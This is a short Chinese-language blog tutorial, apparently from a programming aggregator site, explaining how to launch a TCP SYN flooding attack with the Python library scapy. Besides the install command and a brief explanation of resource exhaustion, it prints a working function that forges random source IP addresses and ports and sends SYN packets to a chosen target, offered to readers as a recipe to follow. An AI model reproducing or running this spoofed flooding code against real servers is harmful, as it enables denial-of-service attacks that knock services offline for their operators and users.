本文主要是介绍使用scapy实现TCP SYN-Flooding攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
基于ubuntu 16.04系统,首先安装scapy,如下的apt-get或者可使用python的pip命令安装,scapy是一个功能强大网络数据包处理程序,包括对数据包的嗅探、解析和构造。本文即使用其数据包构造功能,实现syn flooding攻击。
# sudo apt-get install scapy
TCP SYN Flooding即向服务器的监听端口不断发送TCP的SYN报文,但并不完成实际的TCP三次握手。使被攻击的服务器耗尽资源,导致正常的服务请求不能被处理。要达到此目的,在发送SYN报文时,我们需要变换报文中IP头部的源IP地址(随机生成),和TCP头部中的源端口号(1-65535之间)。
def send_tcp_syn_packet(dip, dport):ip_hdr = scapy.IP()tcp_hdr = scapy.TCP()ip_hdr.src = '%i.%i.%i.%i' % (random.randint(1, 254),random.randint(1, 254),random.randint(1, 254),random.randint(1, 254))tcp_hdr.sport = random.randint(1, 65535)tcp_hdr.flags = 'S'ip_hdr.dst = diptcp_hdr.dport = dportscapy.send(ip_hdr / tcp_hdr, verbose=0)
如上send_tcp_syn_packet所示,还需要设置TCP头部的标志位SYN(‘S’),表明这是一个SYN数据包。
这篇关于使用scapy实现TCP SYN-Flooding攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!